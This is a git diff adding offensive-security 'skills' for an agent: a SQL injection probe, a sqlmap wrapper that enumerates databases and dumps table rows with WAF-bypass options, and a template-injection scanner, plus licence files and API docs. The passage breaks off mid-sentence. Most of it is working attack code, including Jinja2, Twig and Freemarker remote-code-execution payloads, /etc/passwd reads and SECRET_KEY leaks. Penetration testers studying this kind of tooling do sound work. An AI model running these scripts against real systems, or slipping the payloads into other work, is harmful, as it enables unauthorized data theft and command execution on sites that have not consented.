logging.getLogger(__name__) + +SQL_ERRORS = { + "mysql": [r"SQL syntax.*MySQL", r"Warning.*mysql_", r"MySQLSyntaxErrorException"], + "postgresql": [r"ERROR:\s+syntax error", r"pg_query\(\)", r"PSQLException"], + "mssql": [r"SQL Server.*Driver", r"OLE DB.*SQL Server", r"SQLServerException"], + "oracle": [r"ORA-\d{5}", r"Oracle.*Driver", r"quoted string not properly terminated"], + "sqlite": [r"SQLite/JDBCDriver", r"SQLite\.Exception", r"System\.Data\.SQLite"], +} + + +def detect_error_based(url: str, param: str, method: str = "GET", + headers: Optional[dict] = None) -> dict: + """Inject a single quote to detect SQL errors in the response.""" + payload = "'" + test_url, data = _build_request(url, param, payload, method) + resp = _send(test_url, method, data, headers) + + db_type = None + error_found = False + for db, patterns in SQL_ERRORS.items(): + for pattern in patterns: + if re.search(pattern, resp.text, re.IGNORECASE): + db_type = db + error_found = True + break + if error_found: + break + + return { + "technique": "error_based", + "parameter": param, + "injectable": error_found, + "database": db_type, + "status_code": resp.status_code, + } + + +def detect_boolean_based(url: str, param: str, method: str = "GET", + headers: Optional[dict] = None) -> dict: + """Test boolean-based blind SQLi with true/false conditions.""" + baseline_resp = _send(*_build_request(url, param, "1", method), headers) + true_resp = _send(*_build_request(url, param, "1 AND 1=1--", method), headers) + false_resp = _send(*_build_request(url, param, "1 AND 1=2--", method), headers) + + true_match = len(true_resp.content) == len(baseline_resp.content) + false_diff = abs(len(false_resp.content) - len(baseline_resp.content)) > 10 + + return { + "technique": "boolean_based", + "parameter": param, + "injectable": true_match and false_diff, + "baseline_length": len(baseline_resp.content), + "true_length": len(true_resp.content), + "false_length": len(false_resp.content), + } + + +def detect_time_based(url: str, param: str, method: str = "GET", + headers: Optional[dict] = None, delay: int = 5) -> dict: + """Test time-based blind SQLi with sleep functions.""" + payloads = { + "mysql": f"1 AND SLEEP({delay})--", + "postgresql": f"1; SELECT pg_sleep({delay})--", + "mssql": f"1; WAITFOR DELAY '0:0:{delay}'--", + } + results = {} + for db, payload in payloads.items(): + start = time.time() + _send(*_build_request(url, param, payload, method), headers) + elapsed = time.time() - start + results[db] = {"elapsed": round(elapsed, 2), "delayed": elapsed >= delay - 1} + + injectable = any(r["delayed"] for r in results.values()) + detected_db = next((db for db, r in results.items() if r["delayed"]), None) + + return { + "technique": "time_based", + "parameter": param, + "injectable": injectable, + "database": detected_db, + "delay_target": delay, + "timing_results": results, + } + + +def detect_union_columns(url: str, param: str, method: str = "GET", + headers: Optional[dict] = None, max_cols: int = 20) -> dict: + """Determine the number of columns for UNION-based injection.""" + for n in range(1, max_cols + 1): + payload = f"1 ORDER BY {n}--" + resp = _send(*_build_request(url, param, payload, method), headers) + if resp.status_code >= 400 or "error" in resp.text.lower(): + return {"technique": "union_column_count", "parameter": param, "columns": n - 1} + + return {"technique": "union_column_count", "parameter": param, "columns": None} + + +def fingerprint_database(url: str, param: str, method: str = "GET", + headers: Optional[dict] = None) -> dict: + """Identify the database engine using version functions.""" + version_payloads = { + "mysql": "1 UNION SELECT @@version,NULL--", + "postgresql": "1 UNION SELECT version(),NULL--", + "mssql": "1 UNION SELECT @@version,NULL--", + } + for db, payload in version_payloads.items(): + resp = _send(*_build_request(url, param, payload, method), headers) + if resp.status_code == 200 and len(resp.content) > 50: + return {"database": db, "response_preview": resp.text[:200]} + + return {"database": "unknown"} + + +def _build_request(url: str, param: str, value: str, method: str): + if method.upper() == "GET": + separator = "&" if "?" in url else "?" + return f"{url}{separator}{param}={requests.utils.quote(value)}", None + else: + return url, {param: value} + + +def _send(url: str, method: str = "GET", data: Optional[dict] = None, + headers: Optional[dict] = None) -> requests.Response: + h = headers or {} + try: + if method.upper() == "POST": + return requests.post(url, data=data, headers=h, timeout=15, verify=False) + return requests.get(url, headers=h, timeout=15, verify=False) + except requests.RequestException: + return type("FakeResp", (), {"status_code": 0, "text": "", "content": b""})() + + +def run_assessment(url: str, param: str, method: str = "GET") -> dict: + """Run complete SQL injection assessment.""" + error = detect_error_based(url, param, method) + boolean = detect_boolean_based(url, param, method) + timing = detect_time_based(url, param, method) + columns = detect_union_columns(url, param, method) if error["injectable"] else {} + + injectable = error["injectable"] or boolean["injectable"] or timing["injectable"] + findings = [] + if error["injectable"]: + findings.append(f"CRITICAL: Error-based SQLi confirmed (DB: {error['database']})") + if boolean["injectable"]: + findings.append("CRITICAL: Boolean-based blind SQLi confirmed") + if timing["injectable"]: + findings.append(f"CRITICAL: Time-based blind SQLi confirmed (DB: {timing['database']})") + + return { + "target": url, + "parameter": param, + "injectable": injectable, + "error_based": error, + "boolean_based": boolean, + "time_based": timing, + "union_columns": columns, + "findings": findings, + } + + +def main(): + parser = argparse.ArgumentParser(description="SQL Injection Detection Agent") + parser.add_argument("--url", required=True, help="Target URL") + parser.add_argument("--param", required=True, help="Parameter to test") + parser.add_argument("--method", default="GET", choices=["GET", "POST"]) + parser.add_argument("--output", default="sqli_report.json") + args = parser.parse_args() + + report = run_assessment(args.url, args.param, args.method) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-sql-injection-with-sqlmap/LICENSE b/skills/exploiting-sql-injection-with-sqlmap/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-sql-injection-with-sqlmap/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md b/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md new file mode 100644 index 00000000..f648fc1d --- /dev/null +++ b/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md @@ -0,0 +1,74 @@ +# API Reference: sqlmap Automation Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| sqlmap | >=1.7 | SQL injection detection and exploitation (subprocess) | + +## CLI Usage + +```bash +# Detection scan +python scripts/agent.py --url "https://target.com/page?id=1" --param id --action detect + +# Enumerate databases +python scripts/agent.py --url "https://target.com/page?id=1" --action dbs + +# List tables +python scripts/agent.py --url "https://target.com/page?id=1" --action tables --database target_db + +# Dump table rows +python scripts/agent.py --url "https://target.com/page?id=1" --action dump \ + --database target_db --table users + +# Check privileges +python scripts/agent.py --url "https://target.com/page?id=1" --action privs +``` + +## Functions + +### `find_sqlmap() -> str` +Searches common paths for the sqlmap binary. + +### `run_detection_scan(sqlmap_bin, url, param, request_file, cookie, tamper) -> dict` +Runs `sqlmap --batch --random-agent` and parses output for injectability, DB type, and techniques. + +### `enumerate_databases(sqlmap_bin, url, param, cookie) -> list` +Runs `sqlmap --dbs` and extracts database names from output. + +### `enumerate_tables(sqlmap_bin, url, database, param, cookie) -> list` +Runs `sqlmap -D db --tables` and parses table names. + +### `dump_table(sqlmap_bin, url, database, table, columns, limit, param, cookie) -> dict` +Runs `sqlmap -D db -T tbl --dump --start=1 --stop=N`. + +### `check_privileges(sqlmap_bin, url, param, cookie) -> dict` +Runs `--current-user --current-db --is-dba` to assess DB privileges. + +## sqlmap Flags Used + +| Flag | Purpose | +|------|---------| +| `--batch` | Non-interactive mode | +| `--random-agent` | Randomize User-Agent header | +| `-p` | Specify injectable parameter | +| `--tamper` | Apply WAF bypass tamper scripts | +| `--dbs` | Enumerate databases | +| `--tables` | Enumerate tables | +| `--dump` | Extract table data | +| `--is-dba` | Check DBA privileges | + +## Output Schema + +```json +{ + "action": "detect", + "url": "https://target.com/page?id=1", + "result": { + "injectable": true, + "database": "MySQL", + "techniques": ["boolean-based", "UNION query"] + } +} +``` diff --git a/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py b/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py new file mode 100644 index 00000000..63ea6177 --- /dev/null +++ b/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py @@ -0,0 +1,218 @@ +#!/usr/bin/env python3 +# For authorized testing in lab/CTF environments only +"""sqlmap automation agent for orchestrating SQL injection scans via subprocess.""" + +import argparse +import json +import logging +import os +import subprocess +import sys +from datetime import datetime +from typing import List, Optional + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def find_sqlmap() -> str: + """Locate the sqlmap executable.""" + for path in ["sqlmap", "sqlmap.py", "/usr/bin/sqlmap", "/usr/local/bin/sqlmap"]: + try: + subprocess.run([path, "--version"], capture_output=True, timeout=5) + return path + except (FileNotFoundError, subprocess.TimeoutExpired): + continue + sys.exit("sqlmap not found. Install: pip install sqlmap") + + +def run_detection_scan(sqlmap_bin: str, url: str, param: Optional[str] = None, + request_file: Optional[str] = None, + cookie: str = "", tamper: str = "") -> dict: + """Run sqlmap detection scan and parse results.""" + cmd = [sqlmap_bin, "--batch", "--random-agent", "--output-dir=/tmp/sqlmap_out"] + + if request_file: + cmd.extend(["-r", request_file]) + else: + cmd.extend(["-u", url]) + + if param: + cmd.extend(["-p", param]) + if cookie: + cmd.extend(["--cookie", cookie]) + if tamper: + cmd.extend(["--tamper", tamper]) + + logger.info("Running: %s", " ".join(cmd)) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + + output = result.stdout + injectable = "is vulnerable" in output.lower() or "injectable" in output.lower() + db_type = _extract_db_type(output) + techniques = _extract_techniques(output) + + return { + "scan_type": "detection", + "url": url or request_file, + "injectable": injectable, + "database": db_type, + "techniques": techniques, + "exit_code": result.returncode, + } + + +def enumerate_databases(sqlmap_bin: str, url: str, param: Optional[str] = None, + cookie: str = "") -> List[str]: + """Enumerate databases using sqlmap --dbs.""" + cmd = [sqlmap_bin, "-u", url, "--dbs", "--batch", "--random-agent"] + if param: + cmd.extend(["-p", param]) + if cookie: + cmd.extend(["--cookie", cookie]) + + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + databases = [] + in_db_section = False + for line in result.stdout.split("\n"): + if "available databases" in line.lower(): + in_db_section = True + continue + if in_db_section and line.strip().startswith("[*]"): + db_name = line.strip().replace("[*] ", "") + databases.append(db_name) + elif in_db_section and not line.strip(): + break + + logger.info("Found %d databases", len(databases)) + return databases + + +def enumerate_tables(sqlmap_bin: str, url: str, database: str, + param: Optional[str] = None, cookie: str = "") -> List[str]: + """Enumerate tables in a specific database.""" + cmd = [sqlmap_bin, "-u", url, "-D", database, "--tables", + "--batch", "--random-agent"] + if param: + cmd.extend(["-p", param]) + if cookie: + cmd.extend(["--cookie", cookie]) + + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + tables = [] + for line in result.stdout.split("\n"): + stripped = line.strip() + if stripped.startswith("| ") and not stripped.startswith("+-"): + table_name = stripped.strip("| ").strip() + if table_name and table_name != "Table": + tables.append(table_name) + + logger.info("Found %d tables in %s", len(tables), database) + return tables + + +def dump_table(sqlmap_bin: str, url: str, database: str, table: str, + columns: Optional[List[str]] = None, limit: int = 10, + param: Optional[str] = None, cookie: str = "") -> dict: + """Dump rows from a specific table with optional column and row limit.""" + cmd = [sqlmap_bin, "-u", url, "-D", database, "-T", table, "--dump", + "--start=1", f"--stop={limit}", "--batch", "--random-agent"] + if columns: + cmd.extend(["-C", ",".join(columns)]) + if param: + cmd.extend(["-p", param]) + if cookie: + cmd.extend(["--cookie", cookie]) + + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + return { + "database": database, + "table": table, + "limit": limit, + "output": result.stdout[-2000:] if len(result.stdout) > 2000 else result.stdout, + "exit_code": result.returncode, + } + + +def check_privileges(sqlmap_bin: str, url: str, param: Optional[str] = None, + cookie: str = "") -> dict: + """Check current database user and DBA privileges.""" + cmd = [sqlmap_bin, "-u", url, "--current-user", "--current-db", "--is-dba", + "--batch", "--random-agent"] + if param: + cmd.extend(["-p", param]) + if cookie: + cmd.extend(["--cookie", cookie]) + + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + output = result.stdout + + current_user = _extract_value(output, "current user") + current_db = _extract_value(output, "current database") + is_dba = "true" in output.lower().split("current user is DBA")[-1][:20].lower() if "current user is DBA" in output else False + + return {"current_user": current_user, "current_db": current_db, "is_dba": is_dba} + + +def _extract_db_type(output: str) -> str: + for db in ["MySQL", "PostgreSQL", "Microsoft SQL Server", "Oracle", "SQLite"]: + if db.lower() in output.lower(): + return db + return "unknown" + + +def _extract_techniques(output: str) -> List[str]: + techniques = [] + for tech in ["boolean-based", "error-based", "UNION query", "stacked queries", + "time-based", "inline query"]: + if tech.lower() in output.lower(): + techniques.append(tech) + return techniques + + +def _extract_value(output: str, label: str) -> str: + for line in output.split("\n"): + if label.lower() in line.lower(): + parts = line.split(":") + if len(parts) > 1: + return parts[-1].strip().strip("'\"") + return "" + + +def main(): + parser = argparse.ArgumentParser(description="sqlmap Automation Agent") + parser.add_argument("--url", required=True, help="Target URL with injectable param") + parser.add_argument("--param", help="Specific parameter to test") + parser.add_argument("--cookie", default="", help="Cookie header value") + parser.add_argument("--tamper", default="", help="Tamper scripts (comma-separated)") + parser.add_argument("--action", choices=["detect", "dbs", "tables", "dump", "privs"], + default="detect") + parser.add_argument("--database", help="Database name for table/dump actions") + parser.add_argument("--table", help="Table name for dump action") + parser.add_argument("--output", default="sqlmap_report.json") + args = parser.parse_args() + + sqlmap_bin = find_sqlmap() + report = {"action": args.action, "url": args.url, "timestamp": datetime.utcnow().isoformat()} + + if args.action == "detect": + report["result"] = run_detection_scan(sqlmap_bin, args.url, args.param, + cookie=args.cookie, tamper=args.tamper) + elif args.action == "dbs": + report["databases"] = enumerate_databases(sqlmap_bin, args.url, args.param, args.cookie) + elif args.action == "tables" and args.database: + report["tables"] = enumerate_tables(sqlmap_bin, args.url, args.database, args.param, args.cookie) + elif args.action == "dump" and args.database and args.table: + report["dump"] = dump_table(sqlmap_bin, args.url, args.database, args.table, + param=args.param, cookie=args.cookie) + elif args.action == "privs": + report["privileges"] = check_privileges(sqlmap_bin, args.url, args.param, args.cookie) + + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-template-injection-vulnerabilities/LICENSE b/skills/exploiting-template-injection-vulnerabilities/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-template-injection-vulnerabilities/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md b/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md new file mode 100644 index 00000000..3bcc4202 --- /dev/null +++ b/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: SSTI Detection Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| requests | >=2.28 | HTTP client for sending template injection payloads | + +## CLI Usage + +```bash +python scripts/agent.py --url "https://target.com/page" --param name --method GET --output ssti.json +``` + +## Functions + +### `test_ssti_detection(url, param, method, headers) -> list` +Tests 7 engine-specific payloads (`{{7*7}}`, `${7*7}`, etc.) and checks if `49` appears in the response. + +### `identify_engine(url, param, method, headers) -> dict` +Differentiates engines: `{{7*'7'}}` returning `7777777` = Jinja2, `49` = Twig. Also tests Freemarker (`${.now}`) and Velocity. + +### `test_jinja2_rce(url, param, method, headers) -> list` +Tests `cycler.__init__.__globals__.os.popen`, `lipsum.__globals__`, and `config.SECRET_KEY` disclosure. + +### `test_twig_rce(url, param, method, headers) -> list` +Tests `filter('system')` and `file_excerpt` payloads. + +### `test_freemarker_rce(url, param, method, headers) -> list` +Tests `freemarker.template.utility.Execute` for Java command execution. + +### `run_assessment(url, param, method) -> dict` +Runs detection, identifies engine, then tests engine-specific RCE payloads. + +## Detection Payloads + +| Engine | Payload | Expected | +|--------|---------|----------| +| Jinja2/Twig | `{{7*7}}` | `49` | +| Freemarker | `${7*7}` | `49` | +| ERB/EJS | `<%= 7*7 %>` | `49` | +| Smarty | `{7*7}` | `49` | +| Velocity | `#set($x=7*7)$x` | `49` | + +## Output Schema + +```json +{ + "target": "https://target.com/page", + "parameter": "name", + "vulnerable": true, + "engine": {"engine": "Jinja2", "language": "Python"}, + "rce_tests": [{"name": "cycler_popen", "rce_confirmed": true}] +} +``` diff --git a/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py b/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py new file mode 100644 index 00000000..9a16a7cf --- /dev/null +++ b/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py @@ -0,0 +1,205 @@ +#!/usr/bin/env python3 +# For authorized testing in lab/CTF environments only +"""Server-Side Template Injection (SSTI) detection agent using requests.""" + +import argparse +import json +import logging +import sys +import urllib.parse +from typing import List, Optional + +try: + import requests +except ImportError: + sys.exit("requests is required: pip install requests") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +DETECTION_PAYLOADS = { + "jinja2_twig": {"payload": "{{7*7}}", "expected": "49"}, + "freemarker": {"payload": "${7*7}", "expected": "49"}, + "thymeleaf": {"payload": "#{7*7}", "expected": "49"}, + "erb_ejs": {"payload": "<%= 7*7 %>", "expected": "49"}, + "smarty": {"payload": "{7*7}", "expected": "49"}, + "velocity": {"payload": "#set($x=7*7)$x", "expected": "49"}, + "dotjs": {"payload": "{{= 7*7}}", "expected": "49"}, +} + +ENGINE_FINGERPRINTS = { + "jinja2": {"payload": "{{7*'7'}}", "expected": "7777777"}, + "twig": {"payload": "{{7*'7'}}", "expected": "49"}, + "freemarker_confirm": {"payload": "${.now}", "match_pattern": r"\d{4}"}, + "flask_config": {"payload": "{{config}}", "match_pattern": r"SECRET_KEY|DEBUG"}, +} + + +def test_ssti_detection(url: str, param: str, method: str = "GET", + headers: Optional[dict] = None) -> List[dict]: + """Test all detection payloads against a parameter.""" + results = [] + for engine, test in DETECTION_PAYLOADS.items(): + payload = test["payload"] + expected = test["expected"] + resp = _send_payload(url, param, payload, method, headers) + found = expected in resp.text + results.append({ + "engine_hint": engine, + "payload": payload, + "expected": expected, + "found_in_response": found, + "status_code": resp.status_code, + }) + if found: + logger.warning("SSTI detected with %s payload: %s", engine, payload) + return results + + +def identify_engine(url: str, param: str, method: str = "GET", + headers: Optional[dict] = None) -> dict: + """Identify the specific template engine in use.""" + import re + + resp_jinja = _send_payload(url, param, "{{7*'7'}}", method, headers) + if "7777777" in resp_jinja.text: + return {"engine": "Jinja2", "language": "Python", "framework": "Flask/Django"} + if "49" in resp_jinja.text: + return {"engine": "Twig", "language": "PHP", "framework": "Symfony/Laravel"} + + resp_fm = _send_payload(url, param, "${.now}", method, headers) + if re.search(r"\d{4}", resp_fm.text): + return {"engine": "Freemarker", "language": "Java", "framework": "Spring"} + + resp_config = _send_payload(url, param, "{{config}}", method, headers) + if "SECRET_KEY" in resp_config.text or "DEBUG" in resp_config.text: + return {"engine": "Jinja2", "language": "Python", "framework": "Flask"} + + resp_velocity = _send_payload(url, param, "#set($x=42)$x", method, headers) + if "42" in resp_velocity.text: + return {"engine": "Velocity", "language": "Java", "framework": "Apache Velocity"} + + return {"engine": "unknown"} + + +def test_jinja2_rce(url: str, param: str, method: str = "GET", + headers: Optional[dict] = None) -> List[dict]: + """Test Jinja2 RCE payloads.""" + payloads = [ + {"name": "cycler_popen", "payload": "{{cycler.__init__.__globals__.os.popen('id').read()}}"}, + {"name": "lipsum_popen", "payload": '{{lipsum.__globals__["os"].popen("id").read()}}'}, + {"name": "config_items", "payload": "{{config.items()}}"}, + {"name": "secret_key", "payload": "{{config.SECRET_KEY}}"}, + ] + results = [] + for p in payloads: + resp = _send_payload(url, param, p["payload"], method, headers) + has_output = ( + "uid=" in resp.text or "SECRET_KEY" in resp.text or + "root" in resp.text or len(resp.text) > 500 + ) + results.append({ + "name": p["name"], + "payload": p["payload"], + "status_code": resp.status_code, + "rce_confirmed": "uid=" in resp.text, + "info_leak": "SECRET_KEY" in resp.text or "config" in resp.text.lower(), + "response_preview": resp.text[:200], + }) + return results + + +def test_twig_rce(url: str, param: str, method: str = "GET", + headers: Optional[dict] = None) -> List[dict]: + """Test Twig (PHP) RCE payloads.""" + payloads = [ + {"name": "filter_system", "payload": "{{['id']|filter('system')}}"}, + {"name": "file_excerpt", "payload": "{{'/etc/passwd'|file_excerpt(1,5)}}"}, + ] + results = [] + for p in payloads: + resp = _send_payload(url, param, p["payload"], method, headers) + results.append({ + "name": p["name"], + "payload": p["payload"], + "status_code": resp.status_code, + "rce_confirmed": "uid=" in resp.text or "root:" in resp.text, + "response_preview": resp.text[:200], + }) + return results + + +def test_freemarker_rce(url: str, param: str, method: str = "GET", + headers: Optional[dict] = None) -> List[dict]: + """Test Freemarker (Java) RCE payloads.""" + payloads = [ + {"name": "execute_class", + "payload": '<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}'}, + ] + results = [] + for p in payloads: + resp = _send_payload(url, param, p["payload"], method, headers) + results.append({ + "name": p["name"], + "status_code": resp.status_code, + "rce_confirmed": "uid=" in resp.text, + "response_preview": resp.text[:200], + }) + return results + + +def _send_payload(url: str, param: str, payload: str, method: str = "GET", + headers: Optional[dict] = None) -> requests.Response: + h = headers or {} + encoded = urllib.parse.quote(payload) + try: + if method.upper() == "GET": + sep = "&" if "?" in url else "?" + return requests.get(f"{url}{sep}{param}={encoded}", headers=h, + timeout=10, verify=False) + else: + return requests.post(url, data={param: payload}, headers=h, + timeout=10, verify=False) + except requests.RequestException: + return type("R", (), {"status_code": 0, "text": "", "content": b""})() + + +def run_assessment(url: str, param: str, method: str = "GET") -> dict: + """Run complete SSTI assessment.""" + detection = test_ssti_detection(url, param, method) + vulnerable = any(d["found_in_response"] for d in detection) + + result = { + "target": url, "parameter": param, "vulnerable": vulnerable, + "detection_results": detection, + } + if vulnerable: + engine = identify_engine(url, param, method) + result["engine"] = engine + if engine.get("engine") == "Jinja2": + result["rce_tests"] = test_jinja2_rce(url, param, method) + elif engine.get("engine") == "Twig": + result["rce_tests"] = test_twig_rce(url, param, method) + elif engine.get("engine") == "Freemarker": + result["rce_tests"] = test_freemarker_rce(url, param, method) + + return result + + +def main(): + parser = argparse.ArgumentParser(description="SSTI Detection Agent") + parser.add_argument("--url", required=True, help="Target URL") + parser.add_argument("--param", required=True, help="Parameter to test") + parser.add_argument("--method", default="GET", choices=["GET", "POST"]) + parser.add_argument("--output", default="ssti_report.json") + args = parser.parse_args() + + report = run_assessment(args.url, args.param, args.method) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-type-juggling-vulnerabilities/LICENSE b/skills/exploiting-type-juggling-vulnerabilities/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-type-juggling-vulnerabilities/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-vulnerabilities-with-metasploit-framework/LICENSE b/skills/exploiting-vulnerabilities-with-metasploit-framework/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-vulnerabilities-with-metasploit-framework/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-websocket-vulnerabilities/LICENSE b/skills/exploiting-websocket-vulnerabilities/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-websocket-vulnerabilities/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-websocket-vulnerabilities/references/api-reference.md b/skills/exploiting-websocket-vulnerabilities/references/api-reference.md new file mode 100644 index 00000000..8ce28b74 --- /dev/null +++ b/skills/exploiting-websocket-vulnerabilities/references/api-reference.md @@ -0,0 +1,62 @@ +# API Reference: WebSocket Vulnerability Assessment Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| websockets | >=11.0 | Async WebSocket client for connection and message testing | +| requests | >=2.28 | HTTP-level WebSocket handshake inspection | + +## CLI Usage + +```bash +python scripts/agent.py \ + --url wss://target.example.com/ws \ + --cookie "session=abc123" \ + --output ws_report.json +``` + +## Functions + +### `discover_ws_endpoints(base_url) -> list` +Probes 9 common WebSocket paths with upgrade headers to find endpoints. + +### `test_origin_validation(ws_url, cookie) -> dict` +Sends WebSocket upgrade requests with evil Origin headers. Acceptance indicates CSWSH risk. + +### `test_no_auth_connect(ws_url) -> dict` (async) +Attempts WebSocket connection without any authentication tokens. + +### `test_message_injection(ws_url, cookie) -> list` (async) +Sends 6 injection payloads (SQLi, XSS, SSTI, path traversal, command injection) and checks responses. + +### `test_idor_channels(ws_url, 